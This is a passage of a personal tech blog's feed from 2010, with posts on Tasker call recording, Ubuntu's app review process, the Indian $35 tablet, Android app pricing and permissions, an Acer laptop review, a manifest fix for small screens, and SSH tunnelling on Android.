A4: Flash [ Text:Started Recording Long: ]
A5: Notify [ Title:Stop Record Call Text: Icon: Number: Permanent: ]
A6: Record Audio [ File:shantz/call-%CNUM-%CDATE-%CTIME Source:Microphone MaxSize: ]&lt;/p&gt;
&lt;p&gt;**Notes: **&lt;/p&gt;
&lt;p&gt;Note the steps A2, A3 and A6. Basically Nexus one has a limitation that you cannot record directly from the call streams. So, I’m doing the recording from the microphone and this works best if the phone is in speakerphone mode. So, I’m turning up the call volume and setting speakerphone mode in A2 and A3 respectively. You can try tweaking these 2 steps (having different call volumes and not engaging speakerphone mode and you might have passable results without doing these as well). Also, try using “Call”, “Incoming Call”, “Outgoing Call” etc as sources in step A6 instead of microphone to check if your phone supports direct call stream recording. If it does, then you will have excellent recording quality and you can also remove steps A2 and A3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Profile 3. Stop Record Call&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tasker description:&lt;/p&gt;
&lt;p&gt;Profile: Stop record call
Event: Notification Click
Enter: Stop Record Call
Execute, Abort New Task
A0: Record Audio Stop [ ]
A1: Notify Cancel [ Title:Record Call Warn Not Exist: ]
A2: Notify Cancel [ Title:Stop Record Call Warn Not Exist: ]
A3: Flash [ Text:Stopped Recording Long: ]
A4: Variable Clear [ Name:%RECORDING ]
A5: Speakerphone [ Set:Off ]&lt;/p&gt;
&lt;p&gt;**Notes: **&lt;/p&gt;
&lt;p&gt;None&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Profile 4. Call Complete&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tasker description:&lt;/p&gt;
&lt;p&gt;Profile: Call complete
Event: Phone Idle
Enter: Stop Record Call
Execute, Abort New Task
A0: Record Audio Stop [ ]
A1: Notify Cancel [ Title:Record Call Warn Not Exist: ]
A2: Notify Cancel [ Title:Stop Record Call Warn Not Exist: ]
A3: Flash [ Text:Stopped Recording Long: ]
A4: Variable Clear [ Name:%RECORDING ]
A5: Speakerphone [ Set:Off ]&lt;/p&gt;
&lt;p&gt;**Notes: **&lt;/p&gt;
&lt;p&gt;None&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://tech.shantanugoel.com/resources/downloads/android-tasker-call-record-profiles.zip"&gt;Download: Android Tasker Call Record Profiles&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And we are done, you can download the profile xml files in the zip file linked here.&lt;/p&gt;
&lt;p&gt;Let me know if you need any clarifications on the above steps. I would also love to get your suggestions to make this better or if you have any of your own tasker tips and tricks. I’ll be posting more of my tasker adventures soon :)&lt;/p&gt;</content></item><item><title>Clearing the FUD around Ubuntu Application Review Process</title><link>https://shantanugoel.com/2010/09/21/clearing-the-fud-around-ubuntu-application-review-process/</link><pubDate>Tue, 21 Sep 2010 19:44:24 +0000</pubDate><guid>https://shantanugoel.com/2010/09/21/clearing-the-fud-around-ubuntu-application-review-process/</guid><description>&lt;p&gt;An application review process was &lt;a href="http://www.jonobacon.org/2010/09/20/announcing-the-ubuntu-application-review-process/"&gt;announced today&lt;/a&gt; for getting your apps into Ubuntu “extras” repository. But like most other announcements of new things, this one was met as well with as much criticism as the praise it got. A lot of the criticism is FUD though, although mostly unintentional and caused by ignorance of some facts behind it. I’ll try to address some of these concerns here to the best of my knowledge from what I’ve been reading over the past some time about this development.&lt;/p&gt;</description><content>&lt;p&gt;An application review process was &lt;a href="http://www.jonobacon.org/2010/09/20/announcing-the-ubuntu-application-review-process/"&gt;announced today&lt;/a&gt; for getting your apps into Ubuntu “extras” repository. But like most other announcements of new things, this one was met as well with as much criticism as the praise it got. A lot of the criticism is FUD though, although mostly unintentional and caused by ignorance of some facts behind it. I’ll try to address some of these concerns here to the best of my knowledge from what I’ve been reading over the past some time about this development.&lt;/p&gt;
&lt;p&gt;Before we begin, here are the terms listed out for an app to be eligible for the new repository:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;only new applications that are not present in an existing official Ubuntu repository (such as main/universe) are eligible in this process (e.g a new version of an application in an existing official repository is not eligible). Also no other software can depend on the application being submitted (e.g. development libraries are not eligible), only executable applications (and content that is part of them) are eligible, and not stand-alone content, documentation or media, and applications must be Open Source and available under an OSI approved license.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, the concerns that are floating around are many. Some are genuine queries and many are straight attacks dishing out evil conspiracy theories :P. The concerns can be summarised as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Closed source and paid apps are being given the boot by Ubuntu. They should have allowed them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Why can’t we have updates for existing apps in this repository?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Why only standalone apps are allowed. Libraries are equally important.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Why should the software be packaged for /opt. This involves more headache for the developers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Standalone media and content should have been allowed.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Well, to answer these, all you need to understand is the “premise” and concept behind the repository where this software will go and the reasoning behind the review process will unfold itself. The repository governed by this review process is meant to be for “maintainable” pieces of software that would generally go to other universe/main etc repos but couldn’t make it into this release of Ubuntu because the developers were a bit late. This process and feature now gives a chance to the developers to still get their app to public instead of waiting for next release cycle and also allows end-users to use new apps without having to upgrade their version of Ubuntu . There is a separate “partners” repository where closed source and paid apps can go so there is no conflict there.&lt;/p&gt;
&lt;p&gt;Only allowing standalone apps and not updates and dependencies is so obvious. It would soon go out of hand exponentially if you allowed dependencies since one thing needs another library updated, then that would need another and yet another and so on and before you know it, you would be back at square one, that is upgrading to the next version of Ubuntu itself.&lt;/p&gt;
&lt;p&gt;The only thing that I found out of the place was not allowing standalone content but probably they didn’t allow it because such content can be had by end users without a repo easily and would ease the burden of repo maintainers and reviewers by lessening the entries.&lt;/p&gt;
&lt;p&gt;I’d also like to point out that this is just a beginning and the process (and the people behind it) would definitely be maturing from all the feedback they get from the community. Think of it as an alpha release ;). Jono Bacon summed it up very nicely in this comment of his that he made elsewhere:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;this is an &lt;em&gt;experimental&lt;/em&gt; process; it is a work in progress, it will evolve, and the kinks will be ironed out. The process was approved by the Ubuntu Technical Board who are all seasoned Ubuntu developers (Matt Zimmerman, Colin Watson, Martin Pitt, Mark Shuttleworth, and Kees Cook), and much of what you refer to as &amp;ldquo;restrictions&amp;rdquo; were requested by them for the purpose of delivering a nimble process that is stable and secure.&lt;/p&gt;
&lt;p&gt;To be clear: you can think of this process as a &amp;ldquo;light-weight&amp;rdquo; equivalent to our traditional MOTU development process; it is intended to provide a method in which app devs can get content in Ubuntu, whereas our traditional development processes have be orientated around the needs of Operating System integrators.&lt;/p&gt;
&lt;p&gt;As such, this is a first step; sure it is not perfect, but I would like to invite you to make it better; I think this would be a more valuable contribution than just ranting about it on here. Our goal is to make Ubuntu better and to make it more attractive to app developers, and this process will evolve and improve (as was made clear throughout the discussion of this).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, what do you think about it? I, for one, am pretty excited..&lt;/p&gt;</content></item><item><title>The Great Indian $35 Tablet Hoax?</title><link>https://shantanugoel.com/2010/09/13/the-great-indian-35-tablet-hoax/</link><pubDate>Mon, 13 Sep 2010 09:59:42 +0000</pubDate><guid>https://shantanugoel.com/2010/09/13/the-great-indian-35-tablet-hoax/</guid><description>&lt;p&gt;&lt;a href="http://ibnlive.in.com/blogs/jaimonjoseph/326/62006/is-indias--35-laptop--really-indian.html"&gt;Another nail in the coffin&lt;/a&gt; before this Android tablet lives to fulfill the Indian kids’ dreams. Well, not exactly a nail in the coffin. The tablet might still be here, and at the price promised but the thing to note is how low the government can stoop to get bragging rights (and votes). The article elaborates how the IIT/IISC scientists weren’t even aware that such a “project” existed and they were invited to be a part of it just a month before Mr. Kapil Sibal unveiled the epitome of Indian innovation to the world media, telling everyone with gusto how it was a brainchild of India’s premier institutes backed by the revolutionary and modern government. How the low cost motherboard had been designed and fabricated by students where years of research by experts around the world had failed in projects like OLPC.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="http://ibnlive.in.com/blogs/jaimonjoseph/326/62006/is-indias--35-laptop--really-indian.html"&gt;Another nail in the coffin&lt;/a&gt; before this Android tablet lives to fulfill the Indian kids’ dreams. Well, not exactly a nail in the coffin. The tablet might still be here, and at the price promised but the thing to note is how low the government can stoop to get bragging rights (and votes). The article elaborates how the IIT/IISC scientists weren’t even aware that such a “project” existed and they were invited to be a part of it just a month before Mr. Kapil Sibal unveiled the epitome of Indian innovation to the world media, telling everyone with gusto how it was a brainchild of India’s premier institutes backed by the revolutionary and modern government. How the low cost motherboard had been designed and fabricated by students where years of research by experts around the world had failed in projects like OLPC.&lt;/p&gt;
&lt;p&gt;I’m ashamed of the government. Ashamed that everyone abroad now points at my country and calls us liars. Mr. Sibal, why couldn’t you just say that you scored a really nice deal to bring a really good education device to the Indian masses at a cheap price point? Why harp about the innovation and stuff when clearly there wasn’t any and the only price cut you and your government had brought on was through a bulk order and subsidies? &lt;strong&gt;Oh right!! Because $35 tablet doesn’t have much margins to siphon away any money from and the only place left to fulfill that gap is from “Research &amp;amp; Development” Money Quota.&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Android App: Wi-Fi Keep Alive updates</title><link>https://shantanugoel.com/2010/09/09/android-app-wi-fi-keep-alive-updates/</link><pubDate>Thu, 09 Sep 2010 05:27:27 +0000</pubDate><guid>https://shantanugoel.com/2010/09/09/android-app-wi-fi-keep-alive-updates/</guid><description>&lt;p&gt;I pushed out a couple of updates to my android app Wi-Fi Keep alive a few weeks ago (mainly related to fixing the resolution and colors of the widget icons) taking the latest version to 1.4.4. This is just to let you know that it will take a while (a few weeks) more to get the pending updates and requests in to the program. I have been pretty ill for the last few weeks and have only just got back up out of the bed and now my development machine has also gone for a toss. I’ve bought a new machine a couple of days ago but still have to recover my data from old machine and set it up on the new one along with linux and my standard development environment. Please do continue to report bugs and ask for requests though and I’ll make sure to keep track of them.&lt;/p&gt;</description><content>&lt;p&gt;I pushed out a couple of updates to my android app Wi-Fi Keep alive a few weeks ago (mainly related to fixing the resolution and colors of the widget icons) taking the latest version to 1.4.4. This is just to let you know that it will take a while (a few weeks) more to get the pending updates and requests in to the program. I have been pretty ill for the last few weeks and have only just got back up out of the bed and now my development machine has also gone for a toss. I’ve bought a new machine a couple of days ago but still have to recover my data from old machine and set it up on the new one along with linux and my standard development environment. Please do continue to report bugs and ask for requests though and I’ll make sure to keep track of them.&lt;/p&gt;
&lt;p&gt;PS: A tiny thing for celebration is that the app crossed 10,000 downloads mark recently within 2 months of its first appearance on the market :) and right now stands arounds 12k mark. Let&amp;rsquo;s see when I get to 50k :)&lt;/p&gt;</content></item><item><title>Caution: Stay away from making your Android app free for a short time</title><link>https://shantanugoel.com/2010/09/08/caution-stay-away-from-making-your-android-app-free-for-a-short-time/</link><pubDate>Wed, 08 Sep 2010 06:18:36 +0000</pubDate><guid>https://shantanugoel.com/2010/09/08/caution-stay-away-from-making-your-android-app-free-for-a-short-time/</guid><description>&lt;p&gt;Just read this over at the Android Developers google forum:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;My app had a one-day sale on all platforms and app stores. The price went from 2.99 to free for just today, but now that the sale is over, I need to revert the price back to 2.99. The bad news is, the developer console will not let me change it! I have to pull the app until I can get this resolved. What can I do?&lt;/p&gt;</description><content>&lt;p&gt;Just read this over at the Android Developers google forum:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;My app had a one-day sale on all platforms and app stores. The price went from 2.99 to free for just today, but now that the sale is over, I need to revert the price back to 2.99. The bad news is, the developer console will not let me change it! I have to pull the app until I can get this resolved. What can I do?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Apparently, google has this clause in it’s developer’s agreement:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You may also choose to distribute Products for free. If the Product is free, you will not be charged a Transaction Fee. You may not collect future charges from users for copies of the Products that those users were initially allowed to download for free. This is not intended to prevent distribution of free trial versions of the Product with an &amp;ldquo;upsell&amp;rdquo; option to obtain the full version of the Product: Such free trials for Products are encouraged. However, if you want to collect fees after the free trial expires, you must collect all fees for the full version of the Product through the Payment Processor on the Market. In this Agreement, &amp;ldquo;free&amp;rdquo; means there are no charges or fees of any kind for use of the Product. All fees received by Developers for Products distributed via the Market must be processed by the Market&amp;rsquo;s Payment Processor.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, basically, once the app is free, it will always be free unless you create a new “full” version package and put it up on the market. The solution in the above scenario seems to be that the developer now needs to pull down his previously published app (which is now free), change the package component name and then republish the app. Of course, this means that he loses track of all the data and customers currently associated with the app.&lt;/p&gt;
&lt;p&gt;I’m not sure whether this is good or bad. From customers’ point of view it looks good and from developers’ point of view it looks bad. I also don’t know whether this also applies to reducing the price and then increasing it as I can’t put up paid apps in the market yet (though this seems to be allowed as I’ve seen reports of apps increasing their prices). Let me know what you think about this clause (and any clarifications about non-free but fluctuating prices would also be welcome)&lt;/p&gt;</content></item><item><title>Acer TimelineX 4820TG Mini-Review</title><link>https://shantanugoel.com/2010/09/06/acer-timelinex-4820tg-review/</link><pubDate>Mon, 06 Sep 2010 12:18:12 +0000</pubDate><guid>https://shantanugoel.com/2010/09/06/acer-timelinex-4820tg-review/</guid><description>&lt;p&gt;This is a small review of my Acer TimelineX 4820TG that I purchased a few days ago. Now, I won’t be talking numbers (like CPU/GPU performance etc) because these things are almost same as per the component used and have been covered in various other reviews online. What I’ll concentrate more upon are the things that other reviewers don’t look at, or look at purely from numbers perspective which don’t make sense to an average buyer. Please let me know if I miss something out that you want to know about this laptop.&lt;/p&gt;</description><content>&lt;p&gt;This is a small review of my Acer TimelineX 4820TG that I purchased a few days ago. Now, I won’t be talking numbers (like CPU/GPU performance etc) because these things are almost same as per the component used and have been covered in various other reviews online. What I’ll concentrate more upon are the things that other reviewers don’t look at, or look at purely from numbers perspective which don’t make sense to an average buyer. Please let me know if I miss something out that you want to know about this laptop.&lt;/p&gt;
&lt;p&gt;For clarification, I bought the topmost model of the TimelineX 14 incher series which has a core i5 430m with ATi 5650 1 GB graphics. (Other models have i3 only and one has 512mb graphics, while lowest end has only intel HD graphics). I bought it from Croma Retail for a price of 45,999 INR. So, here it goes:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Frame/Overall Build Quality&lt;/strong&gt;: Overall, TimelineX 4820TG “feels” sturdy. It has a brushed metal lid and a plastic bottom. There is some flex all around, especially in the lid area but that is to be expected from a laptop which is so thin. For reference, I compared it to a lot of other laptops with almost similar dimensions, and the build quality and flex was generally on par with all of them, except the Asus Bamboo series and macbooks. I wouldn’t worry too much about it though. It is perfectly luggable through the campus or office, just that I wouldn’t keep anything heavy on top of it (I used to keep a lot of my books and other stuff on top of my previous laptop).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keyboard&lt;/strong&gt;: 4820TG’skeyboard is chiclet-type but it feels a bit flimsy as compared to the competition. It seems that the keys do not have support all arund but just at the center, so you can see the key edges tilting while typing. Also, the keys are not beveled but flat, which could put off few users though it was not a hindrance for me. Also, the keys feel just a tad bit mushy. But it takes just a few hours to get used to it. Only thing I’m not sure is whether I’ll still feel the same about this keyboard one year from now.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Touchpad&lt;/strong&gt;: The touchpad is awesome. It is fairly big compared to what others give you these days. It is also multi-touch and supports the usual gestures like two fingure scroll, pinch-zoom, rotate, etc and I guess you could extend these pretty easily by using appropriate software. The click buttons are rocker-type, i.e., a single bar serves as the two buttons depending on where you press. It’s ok but you have to be slightly more careful than having two separate buttons here as you have to press near the ends for the clicks to register properly. Though this also becomes a second nature after a few hours of use.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Weight:&lt;/strong&gt; The notebook is very light. I haven’t measured it on a weighing scale but for the oomph it packs, it is pretty slim and light. I can lift it easily by two fingers without feeling any strain and can work for hours with it sitting on my lap.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Heat / Temperature / Noise:&lt;/strong&gt; The heat and noise emission is very low. While browsing and downloading and doing other general stuff, I couldn hardly feel it heating up while on my laps. The left top area on the underside (just near the vents) becomes a bit warm after prolonged use but still it is not unconfortable. The keyboard and wrist/palm rest areas remain cool throughout. I could not hear the fans at all while doing normal work in the dead of night and this turns into a slight whirr when the laptop is tasked with heavier crunching.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Battery Life:&lt;/strong&gt; This is the USP of this model and one of the biggest reason why I went for it. This laptop has switchable graphics, i.e., you can chose to use the onboard intel GMA HD graphics for regular use or multimedia playback (plays HD media beautifully) or switch to the ATi 5650 for heavier tasks like gaming, etc. While using the intel graphics, I could easily browse for around 5 hours. I also downloaded around 500mb of stuff during this time and another 300 mb worth of windows updates were downloaded and installed. Moreover, this was all on normal settings and that too when I had a very poor wi-fi signal. I hadn’t mucked around with any power saving options at all and I believe that doing that, along with dimming the brightness and better wi-fi signal etc would easily pump it over the 6 hour mark. This is not as much as the 8 hours that Acer promises but still, it is excellent and much better than most of the competition. While turning on ATi 5650 for the same type of tasks reduced the battery life to around 3 hours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Performance:&lt;/strong&gt; I didn’t run any benchmarks on the laptop and neither did I do any gaming, but I didn’t feel any slow downs while doing any normal tasks and 720p/1080p media playback even while using the intel graphics.&lt;/p&gt;
&lt;p&gt;This is it for now. I’ll keep updating it as more things come to my mind. I hope I have touched upon the significant aspects that I found missing when I was searching around for reviews of this laptop. Let me know if you have any queries for it and I’ll surely update it. Also, I haven’t gone into too much details as I’m primarily a linux user and haven’t explored or tasked this laptop too much till now. I’ll also be installing Ubuntu Maverick Meerkat on this asap and blog about this laptop’s linux compatibility, issues, fixes and workarounds as well.&lt;/p&gt;</content></item><item><title>Solving The Android Permissions And Malware Puzzle</title><link>https://shantanugoel.com/2010/08/13/android-permissions-malware/</link><pubDate>Fri, 13 Aug 2010 19:44:59 +0000</pubDate><guid>https://shantanugoel.com/2010/08/13/android-permissions-malware/</guid><description>&lt;p&gt;There has been a spate of security reports recently about Android apps being malware or suspicious. Most of these were found baseless but at least one was indeed correct (e.g. The Russian Trojan app). We also know that Android has a very good &lt;a href="https://shantanugoel.com/2010/06/26/android-vs-iphone-security-models.html"&gt;security model&lt;/a&gt; but even then, the rest of the reports also makes one think and focus on why an apps requires the permissions that it states it needs?&lt;/p&gt;</description><content>&lt;p&gt;There has been a spate of security reports recently about Android apps being malware or suspicious. Most of these were found baseless but at least one was indeed correct (e.g. The Russian Trojan app). We also know that Android has a very good &lt;a href="https://shantanugoel.com/2010/06/26/android-vs-iphone-security-models.html"&gt;security model&lt;/a&gt; but even then, the rest of the reports also makes one think and focus on why an apps requires the permissions that it states it needs?&lt;/p&gt;
&lt;p&gt;We all MUST check the permissions that an app requires before installing it and then contemplate what particular feature of the app would require any mentioned permission. The problem here is two part. First is that the permissions can be cryptic. Now, I can understand most of these as I also develop Android apps but I&amp;rsquo;d fathom that a huge majority wouldn&amp;rsquo;t. A simple solution to this would be for Google to provide more details (and probably examples) for each permission. One can say that it is difficult and a UI nightmare to include too much of text into the limited space that the mobile screen gets. My suggestion here would be to keep the existing layout as it is, but when someone clicks on a requested permission, he be taken to a new page which describes the permission in detailed but simple words and also provides examples.&lt;/p&gt;
&lt;p&gt;But this is just the first part of the current problem. The more important issue most apps are facing these days is &amp;ldquo;&lt;strong&gt;permission creep in&lt;/strong&gt;&amp;rdquo;, i.e., they request for permissions they don&amp;rsquo;t really require. This could be because either they are just adding it to their manifest file mistakenly without using them or are taking a long route for solving a problem that should ideally have been solved in a much easier way without requiring excessive permissions. This permission creep in makes even legit apps look bad. e.g. There was this recent case of a &lt;a href="http://techcrunch.com/2010/07/29/android-wallpaper-hack/"&gt;wallpaper app&lt;/a&gt; which was crucified by mainstream media all over the world because of the permissions it was using and then it turned out to be just that the developer&amp;rsquo;s method to solve a particular problem (providing &amp;ldquo;favorites&amp;rdquo; and &amp;ldquo;recommended&amp;rdquo; features to users) was long-winded. This is quite common today in Android marketplace. e.g. I tried to install the hugely famous &amp;ldquo;Chomp SMS&amp;rdquo; app today and noticed that it requires my &amp;ldquo;location&amp;rdquo; as well. Pretty weird that an SMS app needs my location and when combined with the &amp;ldquo;Internet&amp;rdquo; permission that it requires as well, it made me go &amp;ldquo;hmmm&amp;rdquo; even though it is tried and tested by a huge number of people without issues. Then I realized that it might need the internet permission for ads (since I was downloading the free version) but still a bit doubtful about location, probably that is needed for ads targeting (especially because it wanted my coarse location only, i.e., cell-triangulation location by which it can easily identify my general region or country, which is all what is needed) but I&amp;rsquo;m still not sure. Even the Android Guru &lt;a href="http://commonsware.com/blog/2010/08/12/evernote-why-you-need-think-about-permissions.html"&gt;Mark Murphy has similar reservations&lt;/a&gt; about another popular app Evernote.&lt;/p&gt;
&lt;p&gt;The solution? I think Google should make it mandatory for app publishers to explain in the market that why their app needs each of the permissions it requests. This should be concisely explained to the user before installation and then the user-review feature of Android marketplace can take over to determine whether the explanation given is indeed satisfactory enough or not. This would, e.g., make it immediately clear to any potential Chomp SMS users why it needs the location. I&amp;rsquo;m sure this would lead to even more sales for the good and trusted apps as people like me who were skeptical of something can put their doubts to rest. At the same time, it would quickly push the russian trojan like apps down into the oblivion.&lt;/p&gt;
&lt;p&gt;A side effect/benefit of this approach will also be that the app authors would look at the permissions that they use more cautiously and would probably try to weed out the unnecessary ones.&lt;/p&gt;
&lt;p&gt;Another idea that I have in mind is more community based. I&amp;rsquo;m not sure if Google will implement the above idea or even if they do, would they make it mandatory since market already has almost a 100,000 apps without this info. BUT, if someone can take up the mantle of making a community site that documents, with the help of android users, the potential uses of all apps&amp;rsquo; permissions and also raise flags on any app having a permission without any apparent need, this would become a boon to the Android users. AppBrain, are you listening? I think this would be a good addition to your already excellent service.&lt;/p&gt;
&lt;p&gt;What are your ideas about solving the apps and permissions problems and removing the malware scare that looms upon us? Let me know in the comments..&lt;/p&gt;</content></item><item><title>Android Dev Tip: App Not Showing on X10 Mini Marketplace</title><link>https://shantanugoel.com/2010/08/07/android-dev-tip-app-not-showing-on-x10-mini-marketplace/</link><pubDate>Sat, 07 Aug 2010 21:18:06 +0000</pubDate><guid>https://shantanugoel.com/2010/08/07/android-dev-tip-app-not-showing-on-x10-mini-marketplace/</guid><description>&lt;p&gt;Many Android Developers (and users) get confused that why a certain app isn&amp;rsquo;t showing up on the new Xperia X10 Mini (and few other) phones. This happens even if they support all android versions and have published their apps for all countries, so that shouldn&amp;rsquo;t be the issue. I came across this as well when few people mentioned that they couldn&amp;rsquo;t find my app Wi-Fi Keep Alive in the X10 mini marketplace. On some digging into the android docs and the X10 mini specs, I found the issue.&lt;/p&gt;</description><content>&lt;p&gt;Many Android Developers (and users) get confused that why a certain app isn&amp;rsquo;t showing up on the new Xperia X10 Mini (and few other) phones. This happens even if they support all android versions and have published their apps for all countries, so that shouldn&amp;rsquo;t be the issue. I came across this as well when few people mentioned that they couldn&amp;rsquo;t find my app Wi-Fi Keep Alive in the X10 mini marketplace. On some digging into the android docs and the X10 mini specs, I found the issue.&lt;/p&gt;
&lt;p&gt;The problem is that the X10 mini has a very small screen with only a QVGA resolution. This screen size/resolution wasn&amp;rsquo;t supported by Android until recently and the Android system might not be able to scale resources and layouts designed for other screen sizes well enough to suit the X10 mini. Hence, the Android system designers have chosen that any app which does not declare explicit support for small screens (i.e., the app dev has tested his app on small screens and made any changes, if needed, and then declared that everything works fine in the Android Manifest) then it is considered not compatible by default and hence, the Android marketplace will filter your app out.&lt;/p&gt;
&lt;p&gt;Now, this is a big loss. A lot of X10 minis were sold and there are lot of new low-tier and cheap Android smartphones coming out with this resolution, so it is a significant market share that you can&amp;rsquo;t afford to lose. The solution is simple. If the app does indeed work fine on small screens (or you have fixed it to work), then all you got to do is add the below mentioned line in your AndroidManifest.xml:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;supports-screens android:smallScreens=&amp;quot;true&amp;quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s it. Your app should now show up fine in all screen sizes markets. Note that for all other screen sizes and resolutions, Android considers the default support as true and your app will show in those markets even if you don&amp;rsquo;t make any explicit declarations for them. You can read more about this here: &lt;a href="http://developer.android.com/guide/practices/screens_support.html"&gt;Supporting Multiple Screens in Android&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;**Update: **&lt;a href="http://www.blundell-apps.com/"&gt;Blundell&lt;/a&gt; pointed out in the comments that &lt;a href="http://developer.android.com/guide/practices/screens_support.html%23defaults"&gt;Android documentation&lt;/a&gt; says&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If android:minSdkVersion or android:targetSdkVersion is &amp;ldquo;4&amp;rdquo; (Android 1.6) or higher, the default value for everything is true. If your application requires Android 1.6 features, but does not support these densities and/or screen sizes, you need to set the appropriate attributes to false.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This should mean that small screens should be set as supported by default if you have your minSdk &lt;strong&gt;or&lt;/strong&gt; targetSdk   set to anything above or equal to 4. However, in my case, my apps had minSdk as 3 but targetSdk as 7 or 8 but still they didn&amp;rsquo;t show up in X10 mini marketplace till I added the smallScreens support to true in my manifest file. If anyone has any ideas about as to why it was like this, please let me know.&lt;/p&gt;</content></item><item><title>SSH Tunneling On Android</title><link>https://shantanugoel.com/2010/08/02/ssh-tunneling-android/</link><pubDate>Mon, 02 Aug 2010 10:53:36 +0000</pubDate><guid>https://shantanugoel.com/2010/08/02/ssh-tunneling-android/</guid><description>&lt;p&gt;If you want to have a secure browsing environment or just want to access your home network securely without exposing extra services to the internet and without the mess that comes with setting up and maintaining a VPN server, ssh tunneling is your rescuer. In this post, I&amp;rsquo;ll tell you how to setup an ssh tunnel to your home network easily. Also look for some bonus tips at the end ;)&lt;/p&gt;</description><content>&lt;p&gt;If you want to have a secure browsing environment or just want to access your home network securely without exposing extra services to the internet and without the mess that comes with setting up and maintaining a VPN server, ssh tunneling is your rescuer. In this post, I&amp;rsquo;ll tell you how to setup an ssh tunnel to your home network easily. Also look for some bonus tips at the end ;)&lt;/p&gt;
&lt;p&gt;This article assumes that you have already installed and setup a ssh server (you can probably use openssh). Also, it assumes that the ssh server is accessible from the internet (i.e. you have appropriately forwarded the port on which ssh server is running). I&amp;rsquo;d also recommend that if you do not have a static IP for your home network, then sign up for a dynamic DNS service (I use dyndns.org) so that you can access your home network easily by using a domain name (e.g. myserver.dyndns.org) from outside.&lt;/p&gt;
&lt;p&gt;Now, here is a step by step guide on what to do on your Android Phone (I&amp;rsquo;m doing this on a Nexus one but should be same for you as well):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install an app called &amp;ldquo;connectbot&amp;rdquo; from the android marketplace. It is a FREE ssh client for android.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open it and add the IP (or dynamic domain name as suggested above) and the port on which ssh server is running to the bottom and connect.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ssh-tunnel-1-thumb.png" alt="Android SSH Tunnel 1"&gt;&lt;/p&gt;
&lt;ol start="3"&gt;
&lt;li&gt;Once connected, press the menu button and select the icon which says &amp;ldquo;Port Forwards&amp;rdquo;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ssh-tunnel-2-thumb.png" alt="Android SSH Tunnel 2"&gt;&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;On this screen you can configure the ports to be used for tunneling. As you can see I already have my firefly server port configured for music streaming over itunes&amp;rsquo; DAAP protocol. Now, you can press &amp;ldquo;menu&amp;rdquo; button and click on &amp;ldquo;Add ports&amp;rdquo; and go to step 5.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ssh-tunnel-3-thumb.png" alt="Android SSH Tunnel 3"&gt;&lt;/p&gt;
&lt;ol start="5"&gt;
&lt;li&gt;You will see the dialog box as shown below. Here you can configure mainly two types of ports.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/ssh-tunnel-4-thumb.png" alt="Android SSH Tunnel 4"&gt;&lt;/p&gt;
&lt;p&gt;5a) First is for services that you want to access already running on your home network. e.g. in my case, I have a firefly media server (mt-daapd) running on a port &amp;ldquo;12345&amp;rdquo; and I want to access this just like I was on LAN over my home wi-fi. In such a case, select &amp;ldquo;type&amp;rdquo; as &amp;ldquo;Local&amp;rdquo;, source port as , say &amp;ldquo;56000&amp;rdquo; and destination as &amp;ldquo;ip:port&amp;rdquo; where ip is the your home local area IP of the machine on which the server is running (My server runs on router itself, which has IP 192.168.1.1) and the port is the actual port on which server is running (e.g. 12345 as we mentioned above). After doing this, just open the respective client app on your phone which wants to connect to this server and enter &amp;ldquo;127.0.0.1&amp;rdquo; as the ip and &amp;ldquo;56000&amp;rdquo; as the port to connect to and it will connect to server as if you were on your home network even over 3G or your office wi-fi.&lt;/p&gt;
